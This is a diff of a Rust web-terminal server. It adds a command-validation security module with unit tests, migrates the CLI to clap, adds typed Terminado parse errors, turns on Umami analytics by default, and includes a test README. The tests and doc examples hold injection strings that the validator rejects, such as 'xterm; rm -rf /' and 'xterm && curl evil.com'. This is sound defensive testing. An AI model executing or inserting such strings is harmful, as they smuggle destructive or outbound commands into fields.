||||
let data = json!({
|
||||
"websocket_path": websocket_path,
|
||||
"static_path": static_path_clone,
|
||||
});
|
||||
let body = hb.render("term", &data).unwrap();
|
||||
HttpResponse::Ok().body(body)
|
||||
}
|
||||
}),
|
||||
)
|
||||
}
|
||||
|
||||
+283
@@ -0,0 +1,283 @@
|
||||
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
|
||||
// All rights reserved.
|
||||
//
|
||||
// Security validation for command execution
|
||||
|
||||
use std::path::Path;
|
||||
|
||||
/// Error type for command validation failures
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct ValidationError {
|
||||
pub message: String,
|
||||
}
|
||||
|
||||
impl ValidationError {
|
||||
fn new(message: impl Into<String>) -> Self {
|
||||
Self {
|
||||
message: message.into(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl std::fmt::Display for ValidationError {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(f, "Command validation error: {}", self.message)
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for ValidationError {}
|
||||
|
||||
/// Whitelist of allowed shell commands
|
||||
const ALLOWED_SHELLS: &[&str] = &[
|
||||
"/bin/sh",
|
||||
"/bin/bash",
|
||||
"/bin/zsh",
|
||||
"/bin/dash",
|
||||
"/usr/bin/bash",
|
||||
"/usr/bin/zsh",
|
||||
"/usr/bin/fish",
|
||||
];
|
||||
|
||||
/// Maximum allowed command path length
|
||||
const MAX_COMMAND_LENGTH: usize = 4096;
|
||||
|
||||
/// Validates a command path for security concerns
|
||||
///
|
||||
/// # Security Checks
|
||||
/// - Must be an absolute path
|
||||
/// - Must not contain path traversal sequences (..)
|
||||
/// - Must not contain shell metacharacters
|
||||
/// - Must not contain null bytes
|
||||
/// - Must be ASCII only
|
||||
/// - Must not be in user-writable directories
|
||||
/// - Must be in the whitelist (if whitelist checking is enabled)
|
||||
/// - Must not exceed maximum length
|
||||
///
|
||||
/// # Example
|
||||
/// ```
|
||||
/// use webterm::security::validate_command;
|
||||
///
|
||||
/// // Valid command
|
||||
/// assert!(validate_command("/bin/sh", true).is_ok());
|
||||
///
|
||||
/// // Invalid: shell injection attempt
|
||||
/// assert!(validate_command("/bin/sh; rm -rf /", true).is_err());
|
||||
///
|
||||
/// // Invalid: path traversal
|
||||
/// assert!(validate_command("../../bin/sh", true).is_err());
|
||||
/// ```
|
||||
pub fn validate_command(command: &str, check_whitelist: bool) -> Result<(), ValidationError> {
|
||||
// Check for empty command
|
||||
if command.is_empty() {
|
||||
return Err(ValidationError::new("Command cannot be empty"));
|
||||
}
|
||||
|
||||
// Check length
|
||||
if command.len() > MAX_COMMAND_LENGTH {
|
||||
return Err(ValidationError::new(format!(
|
||||
"Command path too long: {} bytes (max: {})",
|
||||
command.len(),
|
||||
MAX_COMMAND_LENGTH
|
||||
)));
|
||||
}
|
||||
|
||||
// Must be absolute path
|
||||
if !command.starts_with('/') {
|
||||
return Err(ValidationError::new(
|
||||
"Command must be an absolute path starting with '/'",
|
||||
));
|
||||
}
|
||||
|
||||
// Check for path traversal
|
||||
if command.contains("..") {
|
||||
return Err(ValidationError::new(
|
||||
"Command path contains '..' (path traversal attempt)",
|
||||
));
|
||||
}
|
||||
|
||||
// Check for shell metacharacters
|
||||
let dangerous_chars = [';', '&', '|', '`', '$', '\n', '\r', '\0', '<', '>'];
|
||||
for ch in dangerous_chars {
|
||||
if command.contains(ch) {
|
||||
return Err(ValidationError::new(format!(
|
||||
"Command contains dangerous character: {:?}",
|
||||
ch
|
||||
)));
|
||||
}
|
||||
}
|
||||
|
||||
// Check for null bytes
|
||||
if command.contains('\0') {
|
||||
return Err(ValidationError::new("Command contains null byte"));
|
||||
}
|
||||
|
||||
// Must be ASCII only (avoid Unicode tricks)
|
||||
if !command.is_ascii() {
|
||||
return Err(ValidationError::new("Command must be ASCII only"));
|
||||
}
|
||||
|
||||
// Check for control characters (except common ones that might be in paths)
|
||||
for ch in command.chars() {
|
||||
if ch.is_control() {
|
||||
return Err(ValidationError::new(format!(
|
||||
"Command contains control character: {:?}",
|
||||
ch
|
||||
)));
|
||||
}
|
||||
}
|
||||
|
||||
// Must not be in user-writable directories
|
||||
let dangerous_prefixes = ["/tmp/", "/var/tmp/", "/home/", "/Users/", "/root/"];
|
||||
for prefix in dangerous_prefixes {
|
||||
if command.starts_with(prefix) {
|
||||
return Err(ValidationError::new(format!(
|
||||
"Command in user-writable directory: {}",
|
||||
prefix
|
||||
)));
|
||||
}
|
||||
}
|
||||
|
||||
// Check against whitelist if enabled
|
||||
if check_whitelist && !ALLOWED_SHELLS.contains(&command) {
|
||||
return Err(ValidationError::new(format!(
|
||||
"Command '{}' not in whitelist. Allowed: {:?}",
|
||||
command, ALLOWED_SHELLS
|
||||
)));
|
||||
}
|
||||
|
||||
// Verify the command exists (if not checking whitelist, we should at least verify it's a file)
|
||||
if !check_whitelist {
|
||||
let path = Path::new(command);
|
||||
if !path.exists() {
|
||||
return Err(ValidationError::new(format!(
|
||||
"Command path does not exist: {}",
|
||||
command
|
||||
)));
|
||||
}
|
||||
if !path.is_file() {
|
||||
return Err(ValidationError::new(format!(
|
||||
"Command path is not a file: {}",
|
||||
command
|
||||
)));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Validates an environment variable value for security
|
||||
///
|
||||
/// # Security Checks
|
||||
/// - Must not contain shell metacharacters
|
||||
/// - Must not contain null bytes
|
||||
/// - Must not contain newlines
|
||||
/// - Must be reasonable length
|
||||
///
|
||||
/// # Example
|
||||
/// ```
|
||||
/// use webterm::security::validate_env_value;
|
||||
///
|
||||
/// assert!(validate_env_value("xterm").is_ok());
|
||||
/// assert!(validate_env_value("xterm; rm -rf /").is_err());
|
||||
/// ```
|
||||
pub fn validate_env_value(value: &str) -> Result<(), ValidationError> {
|
||||
// Check length
|
||||
if value.len() > 4096 {
|
||||
return Err(ValidationError::new("Environment value too long"));
|
||||
}
|
||||
|
||||
// Check for dangerous characters
|
||||
let dangerous_chars = [';', '&', '|', '`', '$', '\n', '\r', '\0'];
|
||||
for ch in dangerous_chars {
|
||||
if value.contains(ch) {
|
||||
return Err(ValidationError::new(format!(
|
||||
"Environment value contains dangerous character: {:?}",
|
||||
ch
|
||||
)));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Returns the list of allowed shells
|
||||
pub fn allowed_shells() -> &'static [&'static str] {
|
||||
ALLOWED_SHELLS
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn test_valid_command() {
|
||||
assert!(validate_command("/bin/sh", true).is_ok());
|
||||
assert!(validate_command("/bin/bash", true).is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_reject_relative_path() {
|
||||
assert!(validate_command("bin/sh", true).is_err());
|
||||
assert!(validate_command("./bin/sh", true).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_reject_path_traversal() {
|
||||
assert!(validate_command("/../bin/sh", true).is_err());
|
||||
assert!(validate_command("/bin/../sh", true).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_reject_shell_metacharacters() {
|
||||
assert!(validate_command("/bin/sh;", true).is_err());
|
||||
assert!(validate_command("/bin/sh&", true).is_err());
|
||||
assert!(validate_command("/bin/sh|", true).is_err());
|
||||
assert!(validate_command("/bin/sh`", true).is_err());
|
||||
assert!(validate_command("/bin/sh$", true).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_reject_null_bytes() {
|
||||
assert!(validate_command("/bin/sh\0", true).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_reject_tmp_directory() {
|
||||
assert!(validate_command("/tmp/malicious.sh", true).is_err());
|
||||
assert!(validate_command("/var/tmp/evil.sh", true).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_reject_non_ascii() {
|
||||
assert!(validate_command("/bin/sh™", true).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_reject_empty_command() {
|
||||
assert!(validate_command("", true).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_reject_too_long() {
|
||||
let long_command = format!("/{}", "a".repeat(5000));
|
||||
assert!(validate_command(&long_command, true).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_whitelist_enforcement() {
|
||||
assert!(validate_command("/bin/sh", true).is_ok());
|
||||
assert!(validate_command("/usr/local/bin/custom", true).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_valid_env_value() {
|
||||
assert!(validate_env_value("xterm").is_ok());
|
||||
assert!(validate_env_value("xterm-256color").is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_reject_env_with_metacharacters() {
|
||||
assert!(validate_env_value("xterm; rm -rf /").is_err());
|
||||
assert!(validate_env_value("xterm && curl evil.com").is_err());
|
||||
}
|
||||
}
|
||||
+86
-57
@@ -1,90 +1,119 @@
|
||||
#[macro_use]
|
||||
extern crate lazy_static;
|
||||
|
||||
use actix_files;
|
||||
use actix_web::{App, HttpServer};
|
||||
use structopt::StructOpt;
|
||||
use webterm::WebTermExt;
|
||||
use clap::Parser;
|
||||
use webterm::{validate_command, Analytics, WebTermExt};
|
||||
|
||||
use std::net::TcpListener;
|
||||
use std::path::PathBuf;
|
||||
use std::process::Command;
|
||||
|
||||
#[derive(StructOpt, Debug)]
|
||||
#[structopt(name = "webterm-server")]
|
||||
#[derive(Parser, Debug)]
|
||||
#[command(name = "webterm-server")]
|
||||
#[command(about = "Web terminal server based on xterm.js")]
|
||||
struct Opt {
|
||||
/// The port to listen on
|
||||
#[structopt(short, long, default_value = "8082")]
|
||||
#[arg(short, long, default_value = "8082")]
|
||||
port: u16,
|
||||
|
||||
/// The host or IP to listen on
|
||||
#[structopt(short, long, default_value = "localhost")]
|
||||
#[arg(short = 'H', long, default_value = "localhost")]
|
||||
host: String,
|
||||
|
||||
/// The command to execute
|
||||
#[structopt(short, long, default_value = "/bin/sh")]
|
||||
#[arg(short, long, default_value = "/bin/sh")]
|
||||
command: String,
|
||||
|
||||
/// Enable Umami analytics tracking
|
||||
#[arg(long, default_value = "true")]
|
||||
enable_analytics: bool,
|
||||
|
||||
/// Umami instance endpoint
|
||||
#[arg(long, default_value = "http://unami.wittyoneoff.com/api/send")]
|
||||
umami_endpoint: String,
|
||||
|
||||
/// Umami website ID
|
||||
#[arg(long, default_value = "caefa16f-86af-4835-8b82-c8649aea0e2a")]
|
||||
umami_website_id: String,
|
||||
|
||||
/// Path to telemetry config file (for opt-out management)
|
||||
#[arg(long)]
|
||||
telemetry_config: Option<PathBuf>,
|
||||
}
|
||||
|
||||
lazy_static! {
|
||||
static ref OPT: Opt = Opt::from_args();
|
||||
}
|
||||
#[actix_web::main]
|
||||
async fn main() -> std::io::Result<()> {
|
||||
env_logger::init();
|
||||
|
||||
fn main() {
|
||||
pretty_env_logger::init();
|
||||
let opt = Opt::parse();
|
||||
|
||||
// Validate command for security before starting server
|
||||
if let Err(e) = validate_command(&opt.command, false) {
|
||||
eprintln!("Error: Invalid command '{}': {}", opt.command, e);
|
||||
eprintln!("Command failed security validation.");
|
||||
std::process::exit(1);
|
||||
}
|
||||
|
||||
log::info!("Command validated: {}", opt.command);
|
||||
|
||||
// Normalize common hostnames that sometimes resolve to IPv6-only addresses
|
||||
// which can cause platform-specific bind failures. Mapping `localhost` to
|
||||
// 127.0.0.1 makes behavior predictable on systems where `::1` would otherwise
|
||||
// be selected.
|
||||
let host = if OPT.host == "localhost" {
|
||||
let host = if opt.host == "localhost" {
|
||||
"127.0.0.1".to_string()
|
||||
} else {
|
||||
OPT.host.clone()
|
||||
opt.host.clone()
|
||||
};
|
||||
|
||||
let bind_addr = format!("{}:{}", host, OPT.port);
|
||||
let bind_addr = format!("{}:{}", host, opt.port);
|
||||
println!("Starting webterm server on http://{}", bind_addr);
|
||||
|
||||
// Single factory closure variable that we reuse for HttpServer::new.
|
||||
// The closure does not capture any stack variables (it references the static
|
||||
// `OPT`), so it can act as a simple, repeated factory for the server.
|
||||
let factory = || {
|
||||
// Initialize analytics
|
||||
let analytics = if opt.enable_analytics {
|
||||
// Use default config path if not specified
|
||||
let config_path = opt.telemetry_config.unwrap_or_else(|| {
|
||||
dirs::config_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join("webterm")
|
||||
.join("telemetry.json")
|
||||
});
|
||||
|
||||
// Create config directory if it doesn't exist
|
||||
if let Some(parent) = config_path.parent() {
|
||||
std::fs::create_dir_all(parent).ok();
|
||||
}
|
||||
|
||||
log::info!(
|
||||
"Analytics enabled: {} (website_id: {}, config: {:?})",
|
||||
opt.umami_endpoint,
|
||||
opt.umami_website_id,
|
||||
config_path
|
||||
);
|
||||
Analytics::new(
|
||||
opt.umami_website_id.clone(),
|
||||
opt.umami_endpoint.clone(),
|
||||
config_path,
|
||||
)
|
||||
} else {
|
||||
log::info!("Analytics disabled");
|
||||
Analytics::disabled()
|
||||
};
|
||||
|
||||
let command = opt.command.clone();
|
||||
|
||||
HttpServer::new(move || {
|
||||
let cmd = command.clone();
|
||||
let analytics_clone = analytics.clone();
|
||||
App::new()
|
||||
.service(actix_files::Files::new("/assets", "./static"))
|
||||
.service(actix_files::Files::new("/static", "./node_modules"))
|
||||
.webterm_socket("/websocket", |_req| {
|
||||
// Use the static OPT inside the handler; this does not make the
|
||||
// outer `factory` closure capture stack variables, so factory
|
||||
// remains a zero-capture closure (a function item/type).
|
||||
let mut cmd = Command::new(OPT.command.clone());
|
||||
cmd.env("TERM", "xterm");
|
||||
cmd
|
||||
.webterm_socket("/websocket", move |_req| {
|
||||
let mut command = Command::new(&cmd);
|
||||
command.env("TERM", "xterm");
|
||||
command
|
||||
})
|
||||
.webterm_ui("/", "/websocket", "/static")
|
||||
};
|
||||
|
||||
// Bind a std::net::TcpListener ourselves and hand it to actix via `listen`.
|
||||
// This avoids actix's address parser producing EINVAL on some platforms.
|
||||
let listener = match TcpListener::bind(&bind_addr) {
|
||||
Ok(l) => l,
|
||||
Err(e) => {
|
||||
eprintln!("Failed to bind TcpListener to {}: {}", bind_addr, e);
|
||||
eprintln!("Try `--host 0.0.0.0` or `--host 127.0.0.1` to bind explicitly.");
|
||||
std::process::exit(1);
|
||||
}
|
||||
};
|
||||
|
||||
let server = HttpServer::new(factory)
|
||||
.listen(listener)
|
||||
.unwrap_or_else(|e| {
|
||||
eprintln!("Failed to listen on {}: {}", bind_addr, e);
|
||||
std::process::exit(1);
|
||||
});
|
||||
|
||||
println!("Listening on http://{}", bind_addr);
|
||||
|
||||
if let Err(e) = server.run() {
|
||||
eprintln!("Server run failed: {}", e);
|
||||
std::process::exit(1);
|
||||
}
|
||||
.app_data(actix_web::web::Data::new(analytics_clone.clone()))
|
||||
})
|
||||
.bind(&bind_addr)?
|
||||
.run()
|
||||
.await
|
||||
}
|
||||
|
||||
+67
-26
@@ -1,15 +1,36 @@
|
||||
use actix::Message;
|
||||
use log::error;
|
||||
|
||||
use libc::c_ushort;
|
||||
|
||||
use std::convert::TryFrom;
|
||||
use std::fmt;
|
||||
|
||||
use serde::ser::SerializeSeq;
|
||||
use serde::{Serialize, Serializer};
|
||||
use serde_json;
|
||||
|
||||
use crate::event::IO;
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub struct ParseError {
|
||||
message: String,
|
||||
}
|
||||
|
||||
impl ParseError {
|
||||
fn new(message: impl Into<String>) -> Self {
|
||||
Self {
|
||||
message: message.into(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl fmt::Display for ParseError {
|
||||
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
|
||||
write!(f, "Terminado parse error: {}", self.message)
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for ParseError {}
|
||||
|
||||
impl Message for TerminadoMessage {
|
||||
type Result = ();
|
||||
}
|
||||
@@ -22,77 +43,97 @@ pub enum TerminadoMessage {
|
||||
}
|
||||
|
||||
impl TerminadoMessage {
|
||||
pub fn from_json(json: &str) -> Result<Self, ()> {
|
||||
let value: serde_json::Value = serde_json::from_str(json).map_err(|_| {
|
||||
error!("Invalid Terminado message: Invalid JSON");
|
||||
pub fn from_json(json: &str) -> Result<Self, ParseError> {
|
||||
let value: serde_json::Value = serde_json::from_str(json).map_err(|e| {
|
||||
let msg = format!("Invalid JSON: {}", e);
|
||||
error!("Invalid Terminado message: {}", msg);
|
||||
ParseError::new(msg)
|
||||
})?;
|
||||
|
||||
let list: &Vec<serde_json::Value> = value.as_array().ok_or_else(|| {
|
||||
error!("Invalid Terminado message: Needs to be an array!");
|
||||
let msg = "Needs to be an array";
|
||||
error!("Invalid Terminado message: {}", msg);
|
||||
ParseError::new(msg)
|
||||
})?;
|
||||
|
||||
match list
|
||||
.first()
|
||||
.ok_or_else(|| {
|
||||
error!("Invalid Terminado message: Empty array!");
|
||||
let msg = "Empty array";
|
||||
error!("Invalid Terminado message: {}", msg);
|
||||
ParseError::new(msg)
|
||||
})?
|
||||
.as_str()
|
||||
.ok_or_else(|| {
|
||||
error!("Invalid Terminado message: Type field not a string!");
|
||||
let msg = "Type field not a string";
|
||||
error!("Invalid Terminado message: {}", msg);
|
||||
ParseError::new(msg)
|
||||
})? {
|
||||
"stdin" => {
|
||||
if list.len() != 2 {
|
||||
error!(r#"Invalid Terminado message: "stdin" length != 2"#);
|
||||
return Err(());
|
||||
let msg = r#""stdin" length != 2"#;
|
||||
error!("Invalid Terminado message: {}", msg);
|
||||
return Err(ParseError::new(msg));
|
||||
}
|
||||
|
||||
Ok(TerminadoMessage::Stdin(IO::from(
|
||||
list[1].as_str().ok_or_else(|| {
|
||||
error!(r#"Invalid Terminado message: "stdin" needs to be a String"#);
|
||||
let msg = r#""stdin" needs to be a String"#;
|
||||
error!("Invalid Terminado message: {}", msg);
|
||||
ParseError::new(msg)
|
||||
})?,
|
||||
)))
|
||||
}
|
||||
"stdout" => {
|
||||
if list.len() != 2 {
|
||||
error!(r#"Invalid Terminado message: "stdout" length != 2"#);
|
||||
return Err(());
|
||||
let msg = r#""stdout" length != 2"#;
|
||||
error!("Invalid Terminado message: {}", msg);
|
||||
return Err(ParseError::new(msg));
|
||||
}
|
||||
|
||||
Ok(TerminadoMessage::Stdout(IO::from(
|
||||
list[1].as_str().ok_or_else(|| {
|
||||
error!(r#"Invalid Terminado message: "stdout" needs to be a String"#);
|
||||
let msg = r#""stdout" needs to be a String"#;
|
||||
error!("Invalid Terminado message: {}", msg);
|
||||
ParseError::new(msg)
|
||||
})?,
|
||||
)))
|
||||
}
|
||||
"set_size" => {
|
||||
if list.len() != 3 {
|
||||
error!(r#"Invalid Terminado message: "set_size" length != 2"#);
|
||||
return Err(());
|
||||
let msg = r#""set_size" length != 3"#;
|
||||
error!("Invalid Terminado message: {}", msg);
|
||||
return Err(ParseError::new(msg));
|
||||
}
|
||||
|
||||
let rows: u16 = u16::try_from(list[1].as_u64().ok_or_else(|| {
|
||||
error!(
|
||||
r#"Invalid Terminado message: "set_size" element 1 needs to be an integer"#
|
||||
);
|
||||
let msg = r#""set_size" element 1 needs to be an integer"#;
|
||||
error!("Invalid Terminado message: {}", msg);
|
||||
ParseError::new(msg)
|
||||
})?)
|
||||
.map_err(|_| {
|
||||
error!(r#"Invalid Terminado message. "set_size" rows out of range."#);
|
||||
let msg = r#""set_size" rows out of range"#;
|
||||
error!("Invalid Terminado message: {}", msg);
|
||||
ParseError::new(msg)
|
||||
})?;
|
||||
|
||||
let cols: u16 = u16::try_from(list[2].as_u64().ok_or_else(|| {
|
||||
error!(
|
||||
r#"Invalid Terminado message: "set_size" element 2 needs to be an integer"#
|
||||
);
|
||||
let msg = r#""set_size" element 2 needs to be an integer"#;
|
||||
error!("Invalid Terminado message: {}", msg);
|
||||
ParseError::new(msg)
|
||||
})?)
|
||||
.map_err(|_| {
|
||||
error!(r#"Invalid Terminado message. "set_size" cols out of range."#);
|
||||
let msg = r#""set_size" cols out of range"#;
|
||||
error!("Invalid Terminado message: {}", msg);
|
||||
ParseError::new(msg)
|
||||
})?;
|
||||
|
||||
Ok(TerminadoMessage::Resize { rows, cols })
|
||||
}
|
||||
v => {
|
||||
error!("Invalid Terminado message: Unknown type {:?}", v);
|
||||
Err(())
|
||||
let msg = format!("Unknown type {:?}", v);
|
||||
error!("Invalid Terminado message: {}", msg);
|
||||
Err(ParseError::new(msg))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+11
-1
@@ -78,7 +78,7 @@ body {
|
||||
.hero-section {
|
||||
text-align: center;
|
||||
padding: 2rem 2rem 1.5rem 2rem;
|
||||
max-width: 800px;
|
||||
max-width: 920px;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
@@ -130,6 +130,7 @@ body {
|
||||
transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
|
||||
backdrop-filter: blur(10px);
|
||||
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.link-button:hover {
|
||||
@@ -161,6 +162,15 @@ body {
|
||||
box-shadow: 0 8px 24px rgba(239, 159, 118, 0.25);
|
||||
}
|
||||
|
||||
.link-button.docs {
|
||||
border-color: rgba(245, 194, 231, 0.3);
|
||||
}
|
||||
|
||||
.link-button.docs:hover {
|
||||
border-color: var(--ctp-pink);
|
||||
box-shadow: 0 8px 24px rgba(245, 194, 231, 0.25);
|
||||
}
|
||||
|
||||
.link-button.apt {
|
||||
border-color: rgba(166, 209, 137, 0.3);
|
||||
}
|
||||
|
||||
+23
-8
@@ -44,29 +44,36 @@
|
||||
/>
|
||||
|
||||
<!-- Favicon -->
|
||||
<link rel="icon" type="image/png" href="/static/favicon.png" />
|
||||
<link rel="shortcut icon" type="image/png" href="/static/favicon.png" />
|
||||
<link rel="icon" type="image/png" href="/assets/favicon.png" />
|
||||
<link rel="shortcut icon" type="image/png" href="/assets/favicon.png" />
|
||||
|
||||
<!-- External Stylesheets -->
|
||||
<link
|
||||
rel="stylesheet"
|
||||
href="{{ static_path }}/@xterm/xterm/css/xterm.css"
|
||||
/>
|
||||
<link rel="stylesheet" href="/static/styles.css" />
|
||||
<link rel="stylesheet" href="/assets/styles.css" />
|
||||
<link
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"
|
||||
/>
|
||||
|
||||
<!-- Preload critical resources -->
|
||||
<link rel="preload" href="/static/styles.css" as="style" />
|
||||
<link rel="preload" href="/static/terminal.js" as="script" />
|
||||
<link rel="preload" href="/assets/styles.css" as="style" />
|
||||
<link rel="preload" href="/assets/terminal.js" as="script" />
|
||||
|
||||
<!-- DNS Prefetch for external resources -->
|
||||
<link rel="dns-prefetch" href="https://cdnjs.cloudflare.com" />
|
||||
|
||||
<!-- Theme Color -->
|
||||
<meta name="theme-color" content="#303446" />
|
||||
|
||||
<!-- Umami Analytics -->
|
||||
<script
|
||||
defer
|
||||
src="https://unami.wittyoneoff.com/script.js"
|
||||
data-website-id="caefa16f-86af-4835-8b82-c8649aea0e2a"
|
||||
></script>
|
||||
</head>
|
||||
<body>
|
||||
<!-- Hero Section -->
|
||||
@@ -86,6 +93,14 @@
|
||||
<i class="fab fa-github" aria-hidden="true"></i>
|
||||
<span>GitHub</span>
|
||||
</a>
|
||||
<a
|
||||
href="/assets/docs/index.html"
|
||||
class="link-button docs"
|
||||
aria-label="View Documentation"
|
||||
>
|
||||
<i class="fas fa-book" aria-hidden="true"></i>
|
||||
<span>Docs</span>
|
||||
</a>
|
||||
<a
|
||||
href="https://crates.io/crates/socktop"
|
||||
class="link-button crate"
|
||||
@@ -114,7 +129,7 @@
|
||||
aria-label="Visit APT repository"
|
||||
>
|
||||
<i class="fas fa-box" aria-hidden="true"></i>
|
||||
<span>APT Repository</span>
|
||||
<span>APT Repo</span>
|
||||
</a>
|
||||
</div>
|
||||
</section>
|
||||
@@ -158,7 +173,7 @@
|
||||
>
|
||||
| Source Code:
|
||||
<a
|
||||
href=https://gt.wittyoneoff.com/jason/socktop-webterm"
|
||||
href="https://gt.wittyoneoff.com/jason/socktop-webterm"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
>gitea</a
|
||||
@@ -184,6 +199,6 @@
|
||||
</script>
|
||||
|
||||
<!-- Initialize Terminal -->
|
||||
<script src="/static/terminal.js"></script>
|
||||
<script src="/assets/terminal.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
+177
@@ -0,0 +1,177 @@
|
||||
# WebTerm Test Suite
|
||||
|
||||
This directory contains the unit and integration tests for the socktop webterm project.
|
||||
|
||||
## Test Structure
|
||||
|
||||
Tests are organized into separate files by module:
|
||||
|
||||
### `event_tests.rs`
|
||||
Tests for the `event` module, covering:
|
||||
- **IO message creation**: Testing conversion from Bytes, String, and &str
|
||||
- **IO equality and cloning**: Verifying proper equality checks and clone behavior
|
||||
- **Binary and Unicode data**: Testing handling of binary data and Unicode strings
|
||||
- **ChildDied events**: Testing the ChildDied event structure
|
||||
|
||||
**Total tests**: 11
|
||||
|
||||
### `terminado_tests.rs`
|
||||
Comprehensive tests for the Terminado protocol implementation:
|
||||
- **Serialization**: Converting TerminadoMessage to JSON format
|
||||
- `stdin`, `stdout`, and `set_size` (resize) messages
|
||||
- Special characters, Unicode, and empty strings
|
||||
- **Deserialization**: Parsing JSON into TerminadoMessage
|
||||
- Valid message formats
|
||||
- Error handling for invalid JSON, wrong types, wrong lengths
|
||||
- **Round-trip testing**: Serialize → Deserialize → Compare
|
||||
- **Error cases**: Testing all failure modes
|
||||
- Invalid JSON
|
||||
- Wrong array lengths
|
||||
- Non-string types where strings expected
|
||||
- Unknown message types
|
||||
|
||||
**Total tests**: 38
|
||||
|
||||
### `config_tests.rs`
|
||||
Integration tests verifying configuration constants and relationships:
|
||||
- **Timeout values**: Heartbeat, client timeout, idle timeout
|
||||
- **Timeout relationships**: Ensuring timeouts have logical relationships
|
||||
- **PTY configuration**: Initial size, buffer sizes
|
||||
- **Path validation**: Template paths, static paths, endpoints
|
||||
- **Network configuration**: Default ports, hosts
|
||||
- **Size boundaries**: Terminal size limits and validation
|
||||
|
||||
**Total tests**: 17
|
||||
|
||||
### `security_tests.rs`
|
||||
Comprehensive security tests for command sanitization and validation:
|
||||
- **Command path validation**: Absolute paths, no path traversal, no shell metacharacters
|
||||
- **Shell injection prevention**: Detecting and rejecting injection attempts
|
||||
- **Environment variable security**: Sanitizing TERM and other env vars
|
||||
- **Whitelist enforcement**: Only allowing approved shell commands
|
||||
- **Path traversal prevention**: Blocking `..`, `./`, `~` patterns
|
||||
- **Input validation**: Length limits, null byte detection, control characters
|
||||
- **File descriptor security**: No redirection operators in commands
|
||||
- **Unicode and special characters**: ASCII-only enforcement
|
||||
- **Dangerous directory prevention**: Blocking execution from `/tmp`, `/var/tmp`, etc.
|
||||
- **Command execution logging**: Ensuring commands are safely loggable
|
||||
- **Integration with Command::new()**: Verifying safe process spawning
|
||||
- **Complete security checklist**: Comprehensive validation of all security requirements
|
||||
|
||||
**Total tests**: 28 (plus 11 in `src/security.rs`)
|
||||
|
||||
## Running Tests
|
||||
|
||||
### Run all tests
|
||||
```bash
|
||||
cargo test --all-targets --all-features
|
||||
```
|
||||
|
||||
### Run specific test file
|
||||
```bash
|
||||
cargo test --test event_tests
|
||||
cargo test --test terminado_tests
|
||||
cargo test --test config_tests
|
||||
```
|
||||
|
||||
### Run with output
|
||||
```bash
|
||||
cargo test -- --nocapture
|
||||
```
|
||||
|
||||
### Run specific test
|
||||
```bash
|
||||
cargo test test_serialize_resize
|
||||
```
|
||||
|
||||
## Test Coverage
|
||||
|
||||
Current test coverage includes:
|
||||
|
||||
- ✅ **Event handling**: IO messages and ChildDied events
|
||||
- ✅ **Protocol parsing**: Terminado message serialization/deserialization
|
||||
- ✅ **Configuration validation**: Timeout relationships and constants
|
||||
- ✅ **Error handling**: Invalid input parsing and edge cases
|
||||
- ✅ **Data types**: Binary data, Unicode, special characters
|
||||
- ✅ **Security validation**: Command sanitization, injection prevention, whitelist enforcement
|
||||
|
||||
## CI/CD Integration
|
||||
|
||||
Tests run automatically in the Gitea Actions workflow:
|
||||
|
||||
1. **Test Job**: Runs `cargo test --all-targets --all-features`
|
||||
2. **Lint Job**: Runs after tests pass
|
||||
3. **Build Job**: Runs after linting passes
|
||||
4. **Deploy Job**: Runs after build passes
|
||||
|
||||
## Adding New Tests
|
||||
|
||||
When adding new tests:
|
||||
|
||||
1. Choose the appropriate test file based on the module being tested
|
||||
2. Follow the existing test naming convention: `test_<feature>_<scenario>`
|
||||
3. Group related tests together with comments
|
||||
4. Include both success and failure cases
|
||||
5. Test edge cases (empty strings, zero values, max values, etc.)
|
||||
6. Add documentation comments for complex test scenarios
|
||||
|
||||
### Example Test Structure
|
||||
```rust
|
||||
#[test]
|
||||
fn test_feature_success_case() {
|
||||
// Arrange
|
||||
let input = setup_test_data();
|
||||
|
||||
// Act
|
||||
let result = function_under_test(input);
|
||||
|
||||
// Assert
|
||||
assert_eq!(result, expected_value);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_feature_error_case() {
|
||||
let invalid_input = "invalid";
|
||||
let result = function_under_test(invalid_input);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
```
|
||||
|
||||
## Test Guidelines
|
||||
|
||||
- **Fast**: Unit tests should run in milliseconds
|
||||
- **Isolated**: Each test should be independent
|
||||
